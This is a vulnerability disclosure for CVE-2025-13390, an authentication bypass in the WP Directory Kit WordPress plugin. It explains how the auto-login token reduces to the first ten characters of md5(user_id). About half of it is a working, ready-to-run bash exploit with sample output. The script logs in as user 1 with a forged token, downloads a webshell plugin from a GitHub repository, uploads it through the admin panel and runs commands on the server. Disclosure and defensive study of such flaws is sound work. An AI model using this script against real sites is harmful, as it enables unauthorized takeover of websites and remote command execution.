CVE-2025-13390

The WP Directory Kit plugin for Wordpress version 1.4.4 and below contains an authentication bypass in its auto-login functionality. The vulnerability allows unauthenticated attackers to gain administrative access to WordPress sites by exploiting a cryptographically broken token generation mechanism. The auto-login feature cannot be disabled and uses a predictable token that is derived solely from the MD5 hash of the user ID.

TL;DR Exploits

The CVE-2025-13390.sh file uploads a web shell plugin to a target site assuming user ID 1 is an administrator.

./CVE-2025-13390.sh     
[*] Step 1: Auto-login and save cookies...
[+] Auto-login successful
[*] Step 2: Getting nonce from plugin-install.php...
[+] Install Nonce: a2c0ae384b
[*] Step 3: Downloading plugin from GitHub...
[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)...
[+] Plugin repackaged
[*] Step 5: Uploading plugin...
[+] Plugin installed successfully
[*] Step 6: Testing webshell...
[*] Making request to: http://techcorp.cc/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id
[+] Webshell is accessible!
[+] Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Cleanup complete

Vulnerability Details

Description

The WP Directory Kit plugin implements an auto-login feature that allows users to authenticate without entering credentials by visiting a URL containing a user_id and token parameter. This feature is intended for passwordless login scenarios, such as when new users are automatically created and sent login links via email.

The vulnerability exists in the token generation and validation logic located in two files:

  1. Token Generation (application/helpers/Basic.php:5132-5137):
function wdk_generate_auto_login_link( $user_id = null ) {
    $token = substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10);
    
    $login_url = site_url( "/?auto-login=1&user_id={$user_id}&token={$token}" );
    return $login_url;
}
  1. Token Validation (actions.php:116-130):
add_action( 'init', function () {
    if (substr_count($_SERVER['REQUEST_URI'], 'auto-login') && isset( $_GET['user_id'], $_GET['token'] ) ) {
        $user_id = (int) $_GET['user_id'];
        $token = sanitize_text_field( $_GET['token'] );
        
        if ( $token == substr(md5($user_id).NONCE_KEY.'wpdirectorykit',0,10)) {
            
            wp_set_auth_cookie( $user_id );
            wp_redirect( home_url() );
            exit;
        } else {
            wp_die( 'Wrong token.' );
        }
    }
});

Cryptographic Flaw

The token generation contains a critical cryptographic flaw. The code attempts to create a token by:

  1. Computing md5($user_id) - which produces a 32-character hexadecimal string
  2. Concatenating NONCE_KEY (a WordPress constant, typically 64 characters)
  3. Concatenating the string 'wpdirectorykit'
  4. Taking the first 10 characters with substr(..., 0, 10)

Since md5($user_id) is 32 characters long, and the function takes only the first 10 characters, the token simply becomes the first 10 characters of the md5 hash.

substr(md5($user_id), 0, 10)

For example, for user_id = 1:

  • md5(1) = "c4ca4238a0b923820dcc509a6f75849b" (32 hex characters)
  • substr(md5(1).NONCE_KEY.'wpdirectorykit', 0, 10) = "c4ca4238a0" (first 10 chars of MD5 only)

The NONCE_KEY constant, which is intended to provide cryptographic security, is completely irrelevant because it appears after the first 10 characters of the MD5 hash.

Note: In WordPress installations, the first user created (with user_id = 1) is almost always an administrator. Other administrative user ID’s could be enumerated and used instead as necessary.

Auto-Login Feature Cannot Be Disabled

The auto-login functionality is hardcoded into the plugin’s actions.php file and is always active when the plugin is enabled. There is no configuration option or setting to disable this feature. The auto-login links are generated and sent in email templates (see application/views/email/new_user_auto_created.php:55), but the endpoint itself is always accessible regardless of email settings.

Impact

When an attacker sends a request to the auto-login endpoint with a valid token (e.g., /?auto-login=1&user_id=1&token=c4ca4238a0), the vulnerable code in actions.php:123 calls WordPress’s wp_set_auth_cookie() function. This function establishes an authenticated session by setting WordPress authentication cookies in the HTTP response. These cookies include:

  • wordpress_logged_in_[hash] - Contains the user ID and authentication information
  • wordpress_[hash] - Contains the authentication cookie for the admin area

Once these cookies are set, the attacker’s browser (or script) is treated as an authenticated session for the specified user.

With these administrative cookies, the attacker can install malicious plugins, create administrative users, and results in a full site compromize.

Proof of Concept

The following script demonstrates a complete attack chain that exploits the auto-login vulnerability to gain administrative access and install a webshell:

#!/bin/bash

TARGET="https://examplesite.com"

echo "[*] Step 1: Auto-login and save cookies..."
curl -s -L -c /tmp/wdk_cookies.txt "$TARGET/?auto-login=1&user_id=1&token=c4ca4238a0" > /dev/null
echo "[+] Auto-login successful"

echo "[*] Step 2: Getting nonce from plugin-install.php..."
INSTALL_NONCE=$(curl -s -b /tmp/wdk_cookies.txt "$TARGET/wp-admin/plugin-install.php" | grep -oP 'name="_wpnonce" value="\K[^"]+' | head -1)
echo "[+] Install Nonce: $INSTALL_NONCE"

echo "[*] Step 3: Downloading plugin from GitHub..."
curl -s -L "https://github.com/XK3NF4/webshell-plugin-wordpress/archive/refs/heads/main.zip" -o /tmp/webshell_github.zip

echo "[*] Step 4: Extracting and repackaging plugin (WordPress needs plugin dir at ZIP root)..."
cd /tmp
unzip -q -o webshell_github.zip
# The GitHub ZIP has: webshell-plugin-wordpress-main/wp_webshell/
# WordPress needs: wp_webshell/ at the root
cd webshell-plugin-wordpress-main
zip -q -r /tmp/webshell.zip wp_webshell/
cd /tmp
rm -rf webshell-plugin-wordpress-main webshell_github.zip
echo "[+] Plugin repackaged"

echo "[*] Step 5: Uploading plugin..."
UPLOAD_RESPONSE=$(curl -s -L -b /tmp/wdk_cookies.txt -c /tmp/wdk_cookies.txt \
  -F "_wpnonce=$INSTALL_NONCE" \
  -F "pluginzip=@/tmp/webshell.zip" \
  -F "install-plugin-submit=Install Now" \
  "$TARGET/wp-admin/update.php?action=upload-plugin")

if echo "$UPLOAD_RESPONSE" | grep -qi "installed successfully\|Plugin installed"; then
    echo "[+] Plugin installed successfully"
else
    echo "[-] Installation may have failed. Checking response..."
    echo "$UPLOAD_RESPONSE" | grep -i "error\|fail" | head -5
fi

echo "[*] Step 6: Testing webshell..."
WEBSHELL_URL="$TARGET/wp-content/plugins/wp_webshell/wp_webshell.php?cmd=id"
echo "[*] Making request to: $WEBSHELL_URL"
WEBSHELL_RESPONSE=$(curl -s "$WEBSHELL_URL")

if [ -n "$WEBSHELL_RESPONSE" ]; then
    echo "[+] Webshell is accessible!"
    echo "[+] Response:"
    echo "$WEBSHELL_RESPONSE"
else
    echo "[-] Webshell may not be accessible or returned empty response"
fi

# Cleanup
rm -f /tmp/webshell.zip
echo "[*] Cleanup complete"